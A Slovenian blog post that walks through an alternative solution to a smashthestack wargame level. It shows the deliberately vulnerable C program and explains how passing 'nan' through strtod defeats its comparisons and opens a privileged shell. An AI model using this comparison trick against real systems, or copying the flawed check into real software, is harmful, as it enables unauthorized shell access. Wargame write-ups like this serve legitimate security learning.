CREATIVE CHAOS   ▋ blog

io.smashthestack.org / level02_alt

PUBLISHED ON 21/01/2016 — EDITED ON 14/12/2023 — .SL, INFOSEC

Intro

Nekaj besed o alternativni rešitvi druge stopnje io.smashthestack.org.

Povezava

$ ssh -l level2 io.smashthestack.org -p2224
    level2@io:/levels$ ./level02_alt
    You provided the number -1.000000 which is too low
    




    
    level2@io:/levels$ cat level02_alt.c
    /* submitted by noname */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    
    #define answer 3.141593
    
    void main(int argc, char **argv) {
    
    	float a = (argc - 2)?: strtod(argv[1], 0);
    
            printf("You provided the number %f which is too ", a);
    
    
            if(a < answer)
                     puts("low");
            else if(a > answer)
                    puts("high");
            else
                    execl("/bin/sh", "sh", "-p", NULL);
    }
    

strtod

double strtod(const char *str, char **endptr);

Spremeni niz znakov v realno število z dvojno natančnostjo. Katerikoli znak, ki ne more biti del realnega števila, bo prekinil pretvorbo. Kazalec na preostanek niza je shranjen na lokaciji endptr. V primeru ko ne pride do pretvorbe, funkcija vrne 0, na lokacijo kamor kaže endptr se shrani niz str v celoti.

Delovanje

Program nam odpre lupino, če kot vhodni parameter vnesemo pravilen odgovor, na prvi pogled je to kar 3.141593. Toda ni tako enostavno, ko to poskusimo, dobimo sporočilo, da je vnešena vrednost prenizka. Najprej lahko preverimo, če pride do razlike zaradi zaokroževanja, če zadevo preverimo vidimo, da napake pri zaokroževanju ni.

Ponovno se je najbolje zateči kar v navodila:

    level2@io:~$ man strtod
    ...
    DESCRIPTION
    ...
           The expected form of the (initial portion of the) string is optional leading white space as recognized by isspace(3), an optional plus ('+') or minus sign ('-') and
           then either (i) a decimal number, or (ii) a hexadecimal number, or (iii) an infinity, or (iv) a NAN (not-a-number).
    ...
           A NAN is "NAN" (disregarding case) optionally followed by '(', a sequence of characters, followed by ')'.  The character string specifies in an implementation-dependent
           way the type of NAN.
    ...
    

Epilog

Torej program lahko prepričamo v izvršitev lupine, če mu podamo vhodni parameter nan:

 level2@io:/levels$ ./level02_alt nan
 sh-4.2$
 ```  

See Also

TAGS: BASH, C, HACK, HACKS, LINUX